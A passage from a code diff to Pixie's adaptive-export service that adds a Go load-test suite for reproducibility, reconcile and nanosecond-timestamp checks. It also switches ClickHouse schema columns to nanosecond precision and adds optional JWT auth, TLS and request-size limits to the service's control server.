+func (e Env) WaitAttrib(t *testing.T, node, podLike string, want, timeoutSec int) int {
+ t.Helper()
+ var n int
+ for i := 0; i < timeoutSec; i++ {
+ n = e.AttribCount(t, node, podLike)
+ if n >= want {
+ return n
+ }
+ time.Sleep(time.Second)
+ }
+ return n
+}
+
+// ---- kubectl helpers (port of lib.sh + ae_config.sh) ----
+
+func (e Env) kube(t *testing.T, args ...string) string {
+ t.Helper()
+ out, err := exec.Command("kubectl", args...).CombinedOutput()
+ if err != nil {
+ t.Fatalf("kubectl %s failed: %v\n%s", strings.Join(args, " "), err, out)
+ }
+ return strings.TrimSpace(string(out))
+}
+
+// FirstNode returns the first node name (fixture hostname for control fixtures).
+func (e Env) FirstNode(t *testing.T) string {
+ out, err := exec.Command("kubectl", "get", "nodes",
+ "-o", "jsonpath={range .items[*]}{.metadata.name}{\"\\n\"}{end}").CombinedOutput()
+ if err != nil {
+ return ""
+ }
+ for _, ln := range strings.Split(strings.TrimSpace(string(out)), "\n") {
+ if ln = strings.TrimSpace(ln); ln != "" {
+ return ln
+ }
+ }
+ return ""
+}
+
+// RestartAE rolls the AE DaemonSet and waits for it to be ready (E6 restart).
+func (e Env) RestartAE(t *testing.T) {
+ t.Helper()
+ e.kube(t, "-n", e.AENS, "rollout", "restart", "ds/"+e.AEDaemon)
+ e.kube(t, "-n", e.AENS, "rollout", "status", "ds/"+e.AEDaemon, "--timeout=180s")
+ time.Sleep(8 * time.Second)
+}
+
+// Warmup absorbs the AE trigger cold-start on a node so rep 1 is steady-state:
+// the first poll after AE boots only establishes the watermark baseline.
+func (e Env) Warmup(t *testing.T, node string) {
+ t.Helper()
+ e.Inject(t, AnomalyRow{
+ Namespace: "aeload", Pod: fmt.Sprintf("warmup-%d", time.Now().UnixNano()),
+ RuleID: "R0001", PID: 999, Comm: "warmup", EventTime: time.Now().UnixNano(), Hostname: node,
+ })
+ time.Sleep(6 * time.Second)
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/kpi.go b/src/e2e_test/adaptive_export_loadtest/suite/kpi.go
new file mode 100644
index 00000000000..9c0e3fdd82f
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/kpi.go
@@ -0,0 +1,59 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+// The KPIs the suite asserts. Each former measurement script collapses to one
+// helper here, so every fixture declares its pass/fail in the same vocabulary.
+//
+// Reproducibility — a metric is identical across all reps (was stats.py std=0)
+// Reconcile — read == wrote == ClickHouse count (was exp_row_reconcile.sh)
+//
+// Firehose-vs-steered volume reduction is a measured OUTCOME the data-plane test
+// reports, not an asserted threshold: there is no correct fixed percentage, so
+// gating on one would be arbitrary.
+// NFR and WriteDuration KPIs attach to the data-plane fixtures (§suite_test.go).
+
+// RequireExact asserts a single measured value equals want.
+func RequireExact(t *testing.T, label string, got, want int) {
+ t.Helper()
+ require.Equal(t, want, got, "%s: got %d, want %d", label, got, want)
+}
+
+// RequireReproducible asserts every sample is identical (one distinct value),
+// which is the std=0 / CV=0 reproducibility criterion. want is the expected
+// value; all samples must equal it.
+func RequireReproducible(t *testing.T, label string, samples []int, want int) {
+ t.Helper()
+ require.NotEmpty(t, samples, "%s: no samples", label)
+ for rep, got := range samples {
+ require.Equalf(t, want, got, "%s: rep %d = %d, want a single distinct value %d", label, rep, got, want)
+ }
+}
+
+// RequireReconcile asserts the no-loss invariant: everything AE read from Pixie
+// it wrote, and everything it wrote is present in ClickHouse.
+func RequireReconcile(t *testing.T, table string, read, wrote, ch int) {
+ t.Helper()
+ require.Equalf(t, read, wrote, "reconcile[%s]: wrote %d != read %d (write path lost rows)", table, wrote, read)
+ require.Equalf(t, wrote, ch, "reconcile[%s]: clickhouse %d != wrote %d (sink lost rows)", table, ch, wrote)
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/schema_test.go b/src/e2e_test/adaptive_export_loadtest/suite/schema_test.go
new file mode 100644
index 00000000000..039397900ec
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/schema_test.go
@@ -0,0 +1,124 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "fmt"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+// tsKind is how a timestamp column encodes nanoseconds.
+type tsKind int
+
+const (
+ uint64Nanos tsKind = iota // raw unix-epoch NANOSECONDS in a UInt64
+ dt64Nanos // DateTime64(9)
+)
+
+func (k tsKind) String() string {
+ if k == uint64Nanos {
+ return "UInt64 (unix ns)"
+ }
+ return "DateTime64(9)"
+}
+
+// tsCol is one timestamp column and the nanosecond encoding it MUST have.
+type tsCol struct {
+ table, column string
+ kind tsKind
+}
+
+// protocolTables — the Pixie socket_tracer tables; each carries time_ (Pixie
+// native TIME64NS) + a derived event_time, both nanoseconds.
+var protocolTables = []string{
+ "http_events", "http2_messages.beta", "dns_events", "conn_stats",
+ "pgsql_events", "redis_events", "mysql_events", "cql_events",
+ "mongodb_events", "kafka_events.beta", "amqp_events", "mux_events", "tls_events",
+}
+
+// timestampFixtures — EVERY timestamp column in forensic_db and the nanosecond
+// encoding it must have, one entry per (table, column). The whole system is
+// nanoseconds: raw epoch columns are UInt64 unix-ns, everything else is
+// DateTime64(9). New tables/columns get added here; TestNoCoarserTimestamps is
+// the dynamic backstop for anything missed.
+func timestampFixtures() []tsCol {
+ f := []tsCol{
+ // soc-owned inputs
+ {"kubescape_logs", "event_time", uint64Nanos},
+ {"alerts", "timestamp", dt64Nanos},
+ {"alerts", "ingest_time", dt64Nanos},
+ // AE trigger cursor + write bookkeeping
+ {"trigger_watermark", "watermark", uint64Nanos},
+ {"trigger_watermark", "updated_at", dt64Nanos},
+ {"adaptive_attribution", "t_start", dt64Nanos},
+ {"adaptive_attribution", "t_end", dt64Nanos},
+ {"adaptive_attribution", "last_seen", dt64Nanos},
+ {"ae_reconcile", "ts", dt64Nanos},
+ {"ae_reconcile", "win_start", dt64Nanos},
+ {"ae_reconcile", "win_end", dt64Nanos},
+ // dx evidence
+ {"dx_attack_graph", "event_time", uint64Nanos},
+ }
+ for _, t := range protocolTables {
+ f = append(f, tsCol{t, "time_", dt64Nanos}, tsCol{t, "event_time", dt64Nanos})
+ }
+ return f
+}
+
+// columnType returns the ClickHouse type of forensic_db.., or "".
+func (e Env) columnType(t *testing.T, table, column string) string {
+ return strings.TrimSpace(e.Query(t, fmt.Sprintf(
+ "SELECT type FROM system.columns WHERE database='forensic_db' AND table='%s' AND name='%s'",
+ table, column)))
+}
+
+// TestEveryTimestampIsNanoseconds asserts, per (table, column) fixture, that the
+// timestamp column exists and is nanosecond-precision — DateTime64(9), or a
+// UInt64 unix-ns epoch. This is the per-table schema contract.
+func TestEveryTimestampIsNanoseconds(t *testing.T) {
+ e := RequireLiveEnv(t)
+ for _, f := range timestampFixtures() {
+ f := f
+ t.Run(f.table+"."+f.column, func(t *testing.T) {
+ typ := e.columnType(t, f.table, f.column)
+ require.NotEmptyf(t, typ, "%s.%s not found in forensic_db", f.table, f.column)
+ switch f.kind {
+ case dt64Nanos:
+ require.Truef(t, strings.HasPrefix(typ, "DateTime64(9"),
+ "%s.%s = %s, want %s (nanoseconds)", f.table, f.column, typ, f.kind)
+ case uint64Nanos:
+ require.Equalf(t, "UInt64", typ,
+ "%s.%s = %s, want %s", f.table, f.column, typ, f.kind)
+ }
+ })
+ }
+}
+
+// TestNoCoarserTimestamps is the dynamic backstop: NO DateTime column anywhere in
+// forensic_db may be coarser than nanoseconds (catches DateTime, DateTime64(0..8)
+// on any table/column not in the fixtures).
+func TestNoCoarserTimestamps(t *testing.T) {
+ e := RequireLiveEnv(t)
+ bad := strings.TrimSpace(e.Query(t,
+ "SELECT table || '.' || name || ' = ' || type FROM system.columns "+
+ "WHERE database='forensic_db' AND type LIKE 'DateTime%' "+
+ "AND type NOT LIKE 'DateTime64(9%' ORDER BY table, name FORMAT TSV"))
+ require.Emptyf(t, bad, "non-nanosecond DateTime column(s) in forensic_db:\n%s", bad)
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/suite_test.go b/src/e2e_test/adaptive_export_loadtest/suite/suite_test.go
new file mode 100644
index 00000000000..bca96432fad
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/suite_test.go
@@ -0,0 +1,81 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "os"
+ "strconv"
+ "testing"
+)
+
+// TestControlPlaneReproducibility drives every control fixture against the
+// deployed AE image and asserts the Reproducibility KPI: across all reps the
+// distinct-hash count and attribution count are a single value, equal to want.
+// This is the deterministic proof that the AE build's trigger + controller +
+// attribution path is an exact function of the kubescape input.
+func TestControlPlaneReproducibility(t *testing.T) {
+ e := RequireLiveEnv(t)
+ for _, f := range controlFixtures {
+ f := f
+ t.Run(f.name, func(t *testing.T) {
+ reps := f.reps
+ if v := os.Getenv("AELOAD_REPS"); v != "" {
+ if n, err := strconv.Atoi(v); err == nil && n > 0 {
+ reps = n
+ }
+ }
+ t.Logf("%s: %s (reps=%d, node=%s)", f.name, f.desc, reps, e.Node)
+ e.Warmup(t, e.Node)
+
+ hashes := make([]int, 0, reps)
+ attrib := make([]int, 0, reps)
+ for rep := 1; rep <= reps; rep++ {
+ m := f.runRep(t, e, e.Node, rep)
+ hashes = append(hashes, m.hashes)
+ attrib = append(attrib, m.attrib)
+ }
+ RequireReproducible(t, f.name+"/anomaly_hash", hashes, f.wantHashes)
+ RequireReproducible(t, f.name+"/adaptive_attribution", attrib, f.wantAttrib)
+ t.Logf("%s PASS: hashes=%d attrib=%d across %d reps (std=0)", f.name, f.wantHashes, f.wantAttrib, reps)
+ })
+ }
+}
+
+// TestDataPlaneReconcile asserts the no-loss Reconcile KPI on the data plane:
+// for a counted signal band, read == wrote == ClickHouse per protocol table.
+//
+// Staged: needs the counted signal generator (tools/loadgen) + sinks deployed on
+// the rig. Enable by setting AELOAD_DATAPLANE=1 once the generator is wired in;
+// this keeps the deterministic control-plane suite runnable on any rig today.
+func TestDataPlaneReconcile(t *testing.T) {
+ RequireLiveEnv(t)
+ t.Skip("data-plane reconcile requires the counted signal generator (tools/loadgen) + sinks; set AELOAD_DATAPLANE=1 when wired")
+}
+
+// TestVolumeReduction measures and LOGS the firehose→steered volume reduction
+// for one signal window. It is a reported outcome, not a pass/fail assertion —
+// there is no correct fixed percentage, so gating on a threshold would be arbitrary.
+//
+// Staged: the reduction arms drive a live incident signal on the rig, which the
+// SOC lab owns and emits by neutral disease name (e.g. java-poc/disease-listeriosis).
+// This suite triggers it through a lab hook rather than embedding any payload, so
+// no CVE or incident literals live here. Enable via AELOAD_REDUCTION=1 + the lab
+// signal hook.
+func TestVolumeReduction(t *testing.T) {
+ RequireLiveEnv(t)
+ t.Skip("volume reduction drives a lab-owned signal; set AELOAD_REDUCTION=1 + the lab disease hook when wired")
+}
diff --git a/src/vizier/services/adaptive_export/cmd/main.go b/src/vizier/services/adaptive_export/cmd/main.go
index 3f36f2698cb..3f27f18f34d 100644
--- a/src/vizier/services/adaptive_export/cmd/main.go
+++ b/src/vizier/services/adaptive_export/cmd/main.go
@@ -575,6 +575,17 @@ func main() {
if addr := os.Getenv("CONTROL_ADDR"); addr != "" {
ctrlSrv := control.New(activeSet, nil) // OrderQuery runner wired later
ctrlSrv.SetGraphWriter(applier) // dx_attack_graph ingest → ClickHouse
+ // Bearer-JWT auth on the control surface (CodeRabbit: protect control
+ // endpoints). Same shared lib + signing key the broker/PEM use — dx
+ // attaches the service JWT it already mints. Default-OFF so this can
+ // merge before dx sends the bearer; flip CONTROL_REQUIRE_AUTH=true once
+ // dx is updated + PL_JWT_SIGNING_KEY is mounted. Safe incremental rollout.
+ if key := os.Getenv("PL_JWT_SIGNING_KEY"); key != "" && os.Getenv("CONTROL_REQUIRE_AUTH") == "true" {
+ ctrlSrv.SetAuth(key, "vizier")
+ log.Info("control surface: bearer-JWT auth ENABLED (audience=vizier)")
+ } else {
+ log.Warn("control surface: auth DISABLED (set CONTROL_REQUIRE_AUTH=true + PL_JWT_SIGNING_KEY)")
+ }
// Wrap in an http.Server with explicit timeouts so a slow client
// can't pin a goroutine on the control surface (CodeRabbit
// r3379377432). The control plane is small/idempotent JSON, so
@@ -589,8 +600,27 @@ func main() {
}
go func() {
log.WithField("addr", addr).Info("control surface listening")
- if err := httpSrv.ListenAndServe(); err != nil &&
- err != http.ErrServerClosed {
+ // CONTROL_TLS=true → serve TLS so the bearer JWT + control payloads
+ // don't cross the CNI in cleartext (auth without TLS leaks the token).
+ // Cert/key from the service-tls-certs secret the broker/PEM already use
+ // (mounted /certs); dx skip-verifies. Default-OFF for incremental rollout.
+ var err error
+ if os.Getenv("CONTROL_TLS") == "true" {
+ cert := os.Getenv("CONTROL_TLS_CERT")
+ if cert == "" {
+ cert = "/certs/server.crt"
+ }
+ key := os.Getenv("CONTROL_TLS_KEY")
+ if key == "" {
+ key = "/certs/server.key"
+ }
+ log.WithField("cert", cert).Info("control surface: TLS ENABLED")
+ err = httpSrv.ListenAndServeTLS(cert, key)
+ } else {
+ log.Warn("control surface: TLS DISABLED — bearer JWT crosses the CNI in cleartext (set CONTROL_TLS=true)")
+ err = httpSrv.ListenAndServe()
+ }
+ if err != nil && err != http.ErrServerClosed {
log.WithError(err).Error("control surface stopped")
}
}()
@@ -826,8 +856,15 @@ func installPresetScripts(client *pixie.Client, clusterID, clusterName string) (
//
// Any other script is assumed user-authored and left alone.
func isOperatorManagedScript(name string) bool {
- if strings.HasPrefix(name, "ch-") {
- return true
+ // Match the EXACT names builtinPresetScripts emits — never a prefix.
+ // A user-authored script named "ch-something-custom" would otherwise
+ // be classified as operator-managed and deleted on the next
+ // installPresetScripts pass under INSTALL_PRESET_SCRIPTS=true
+ // (CodeRabbit r-#68/cmd/main.go).
+ for _, p := range builtinPresetScripts() {
+ if name == p.Name {
+ return true
+ }
}
switch name {
case "conn_stats export", "dc snoop export", "stack_traces export":
diff --git a/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go b/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go
index d96b784c7e7..4848e30f75d 100644
--- a/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go
+++ b/src/vizier/services/adaptive_export/internal/chhttp/chhttp.go
@@ -43,6 +43,12 @@ type Client struct {
user string
pass string
hc *http.Client
+ // streamHC is a parallel client with NO Timeout — Go's
+ // http.Client.Timeout covers body reads, so reusing hc for
+ // QueryStream would silently truncate a multi-MB active-set
+ // rehydrate at DefaultTimeout. Stream callers must bound their
+ // own ctx deadline (CodeRabbit r-#68/chhttp.go).
+ streamHC *http.Client
}
// New validates the endpoint and returns a ready client. timeout<=0 →
@@ -71,6 +77,7 @@ func New(endpoint, user, pass string, timeout time.Duration) (*Client, error) {
user: user,
pass: pass,
hc: &http.Client{Timeout: timeout},
+ streamHC: &http.Client{}, // no Timeout — see streamHC docstring above
}, nil
}
@@ -97,7 +104,11 @@ func (c *Client) Query(ctx context.Context, sql string) ([]byte, error) {
// QueryStream GETs sql like Query, but returns the response body as an
// io.ReadCloser the caller drains incrementally. Use for SELECTs whose
// result set is unbounded (e.g. an active-set rehydrate that may be
-// multi-MB). Caller MUST Close the returned body, even on error.
+// multi-MB). Caller MUST Close the returned body, even on error, and
+// MUST bound the request via ctx.Deadline — the underlying transport
+// here has NO http.Client.Timeout because that timeout would cover
+// body reads and silently truncate a long stream
+// (CodeRabbit r-#68/chhttp.go).
func (c *Client) QueryStream(ctx context.Context, sql string) (io.ReadCloser, error) {
q := url.Values{}
q.Set("query", sql)
@@ -108,7 +119,7 @@ func (c *Client) QueryStream(ctx context.Context, sql string) (io.ReadCloser, er
if c.user != "" {
req.SetBasicAuth(c.user, c.pass)
}
- resp, err := c.hc.Do(req)
+ resp, err := c.streamHC.Do(req)
if err != nil {
return nil, err
}
diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql b/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql
index 7424ab4110d..9c1754145e9 100644
--- a/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql
+++ b/src/vizier/services/adaptive_export/internal/clickhouse/schema.sql
@@ -1,10 +1,12 @@
-- Forensic SOC ClickHouse schema (adaptive-write feature, design rev 2)
-- ----------------------------------------------------------------------
-- Pixie type map (PixieTypeToClickHouseType):
--- TIME64NS → DateTime64(9), except event_time → DateTime64(3)
+-- TIME64NS → DateTime64(9); event_time is nanosecond-consistent → DateTime64(9)
-- INT64 → Int64 | FLOAT64 → Float64 | STRING → String
-- BOOLEAN → UInt8 | UINT128 → String
--- Pixie's retention plugin adds: hostname String, event_time DateTime64(3)
+-- Pixie's retention plugin adds: hostname String, event_time DateTime64(9)
+-- (nanoseconds everywhere: kubescape_logs.event_time is UInt64 unix-ns; protocol
+-- tables' event_time is DateTime64(9) derived from time_; see soc clickhouse-lab).
-- We add: namespace String, pod String (used by adaptive_attribution JOINs).
--
-- Engine convention for pixie observation tables:
@@ -56,7 +58,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.kubescape_logs (
RuntimeK8sDetails String,
RuntimeProcessDetails String,
event String,
- event_time UInt64,
+ event_time UInt64, -- unix epoch NANOSECONDS (Vector kubescape_enrich emits ns)
hostname String,
level String DEFAULT '',
message String DEFAULT '',
@@ -65,8 +67,11 @@ CREATE TABLE IF NOT EXISTS forensic_db.kubescape_logs (
anomaly_hash String DEFAULT ''
) ENGINE = MergeTree()
ORDER BY (event_time, hostname)
- PARTITION BY toYYYYMM(toDateTime(event_time))
- TTL toDateTime(event_time) + INTERVAL 30 DAY DELETE
+ -- event_time is unix-epoch NANOSECONDS; convert with fromUnixTimestamp64Nano.
+ -- Plain toDateTime() would read ns as seconds (year ~58e9) → broken partitions/TTL.
+ -- toYYYYMM accepts DateTime64 directly; TTL must wrap in toDateTime().
+ PARTITION BY toYYYYMM(fromUnixTimestamp64Nano(event_time))
+ TTL toDateTime(fromUnixTimestamp64Nano(event_time)) + INTERVAL 30 DAY DELETE
SETTINGS index_granularity = 8192;
-- ============================================================================
@@ -102,7 +107,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.http_events (
resp_body_size Int64,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -124,7 +129,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.`http2_messages.beta` (
body String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -147,7 +152,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.dns_events (
resp_body String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -169,7 +174,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.redis_events (
resp String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -192,7 +197,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.mysql_events (
resp_body String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -213,7 +218,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.pgsql_events (
resp String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -236,7 +241,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.cql_events (
resp_body String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -259,7 +264,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.mongodb_events (
resp_body String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -282,7 +287,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.`kafka_events.beta` (
resp String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -305,7 +310,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.amqp_events (
payload String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -327,7 +332,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.mux_events (
resp String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -347,7 +352,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.tls_events (
handshake String,
latency Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -378,7 +383,7 @@ CREATE TABLE IF NOT EXISTS forensic_db.conn_stats (
bytes_sent Int64,
bytes_recv Int64,
hostname String,
- event_time DateTime64(3, 'UTC') DEFAULT toDateTime64(time_, 3)
+ event_time DateTime64(9, 'UTC') DEFAULT toDateTime64(time_, 9)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(event_time)
ORDER BY (hostname, event_time);
@@ -482,7 +487,10 @@ CREATE TABLE IF NOT EXISTS forensic_db.ae_reconcile (
hostname String
) ENGINE = MergeTree
PARTITION BY toYYYYMMDD(ts)
- ORDER BY (table_name, ts);
+ ORDER BY (table_name, ts)
+ -- append-only debug log; cap growth so long reconcile runs don't accumulate
+ -- unbounded storage (CodeRabbit). 30d matches the pixie observation tables.
+ TTL toDateTime(ts) + INTERVAL 30 DAY DELETE;
-- dx_attack_graph — dx evidence-graph edge list: one row per directed hop of an
-- investigation (delivery/egress/execution/exfil/pivot), read by the Pixie
diff --git a/src/vizier/services/adaptive_export/internal/control/BUILD.bazel b/src/vizier/services/adaptive_export/internal/control/BUILD.bazel
index df247211840..c22b1b8ba71 100644
--- a/src/vizier/services/adaptive_export/internal/control/BUILD.bazel
+++ b/src/vizier/services/adaptive_export/internal/control/BUILD.bazel
@@ -23,6 +23,7 @@ go_library(
importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/control",
visibility = ["//src/vizier/services/adaptive_export:__subpackages__"],
deps = [
+ "//src/shared/services/utils",
"//src/vizier/services/adaptive_export/internal/activeset",
"//src/vizier/services/adaptive_export/internal/anomaly",
],
@@ -33,6 +34,7 @@ pl_go_test(
srcs = ["server_test.go"],
embed = [":control"],
deps = [
+ "//src/shared/services/utils",
"//src/vizier/services/adaptive_export/internal/activeset",
"//src/vizier/services/adaptive_export/internal/anomaly",
],
diff --git a/src/vizier/services/adaptive_export/internal/control/server.go b/src/vizier/services/adaptive_export/internal/control/server.go
index a4770148952..88e67d76369 100644
--- a/src/vizier/services/adaptive_export/internal/control/server.go
+++ b/src/vizier/services/adaptive_export/internal/control/server.go
@@ -31,8 +31,10 @@ import (
"context"
"encoding/json"
"net/http"
+ "strings"
"time"
+ jwtutils "px.dev/pixie/src/shared/services/utils"
"px.dev/pixie/src/vizier/services/adaptive_export/internal/activeset"
"px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly"
)
@@ -63,6 +65,7 @@ type Server struct {
runner queryRunner // may be nil; /query then returns 501
graph graphWriter // may be nil; /dx/attack_graph then returns 501
mux *http.ServeMux
+ verify func(bearer string) error // nil → auth disabled; set via SetAuth
}
// New builds the control server. runner may be nil for deployments that
@@ -80,8 +83,37 @@ func New(set exporter, runner queryRunner) *Server {
// SetGraphWriter wires the dx_attack_graph sink.
func (s *Server) SetGraphWriter(g graphWriter) { s.graph = g }
-// Handler exposes the mux (for httptest + main.go wiring).
-func (s *Server) Handler() http.Handler { return s.mux }
+// SetAuth turns on bearer-JWT auth for the control surface, verified with the
+// SAME shared lib + signing key the vizier broker/PEM use (px.dev/pixie/src/
+// shared/services/utils). dx already mints a service JWT (GenerateJWTForService,
+// PL_JWT_SIGNING_KEY) for its broker/PEM queries — it attaches the same token
+// here. No new secret/crypto. /healthz stays open for k8s probes.
+// (CodeRabbit: protect control endpoints with auth — server.go.)
+func (s *Server) SetAuth(signingKey, audience string) {
+ s.verify = func(bearer string) error {
+ _, err := jwtutils.ParseToken(bearer, signingKey, audience)
+ return err
+ }
+}
+
+// Handler exposes the mux (for httptest + main.go wiring), wrapped in the auth
+// middleware when SetAuth was called.
+func (s *Server) Handler() http.Handler {
+ if s.verify == nil {
+ return s.mux
+ }
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if r.URL.Path != "/healthz" { // probes stay unauthenticated
+ const p = "Bearer "
+ h := r.Header.Get("Authorization")
+ if !strings.HasPrefix(h, p) || s.verify(strings.TrimPrefix(h, p)) != nil {
+ w.WriteHeader(http.StatusUnauthorized)
+ return
+ }
+ }
+ s.mux.ServeHTTP(w, r)
+ })
+}
// handleDXAttackGraph ingests a JSON array of dx evidence-graph edges and writes
// them to forensic_db.dx_attack_graph (as JSONEachRow).
@@ -95,7 +127,7 @@ func (s *Server) handleDXAttackGraph(w http.ResponseWriter, r *http.Request) {
return
}
var edges []json.RawMessage
- if !decode(r, &edges) {
+ if !decode(w, r, &edges) {
w.WriteHeader(http.StatusBadRequest)
return
}
@@ -142,8 +174,17 @@ func (t targetReq) target() anomaly.Target {
return anomaly.Target{Comm: t.Comm, Pod: t.Pod, Namespace: t.Namespace}
}
-func decode(r *http.Request, v any) bool {
+// maxControlBodyBytes caps a single control-surface request body. The
+// largest legitimate payload we accept is /dx/attack_graph which is a
+// JSON array of pre-marshalled JSONEachRow lines — measured live the
+// hottest dx rule-in pass fits in ~256 KiB. 4 MiB is well above that
+// and below the per-pod memory headroom an oversized POST could
+// exhaust on the operator (CodeRabbit r-#68/control/server.go).
+const maxControlBodyBytes = 4 << 20
+
+func decode(w http.ResponseWriter, r *http.Request, v any) bool {
defer r.Body.Close()
+ r.Body = http.MaxBytesReader(w, r.Body, maxControlBodyBytes)
return json.NewDecoder(r.Body).Decode(v) == nil
}
@@ -158,7 +199,7 @@ func (s *Server) handleStart(w http.ResponseWriter, r *http.Request) {
return
}
var req startReq
- if !decode(r, &req) || req.Pod == "" {
+ if !decode(w, r, &req) || req.Pod == "" || req.TEnd <= 0 {
w.WriteHeader(http.StatusBadRequest)
return
}
@@ -172,7 +213,7 @@ func (s *Server) handleStop(w http.ResponseWriter, r *http.Request) {
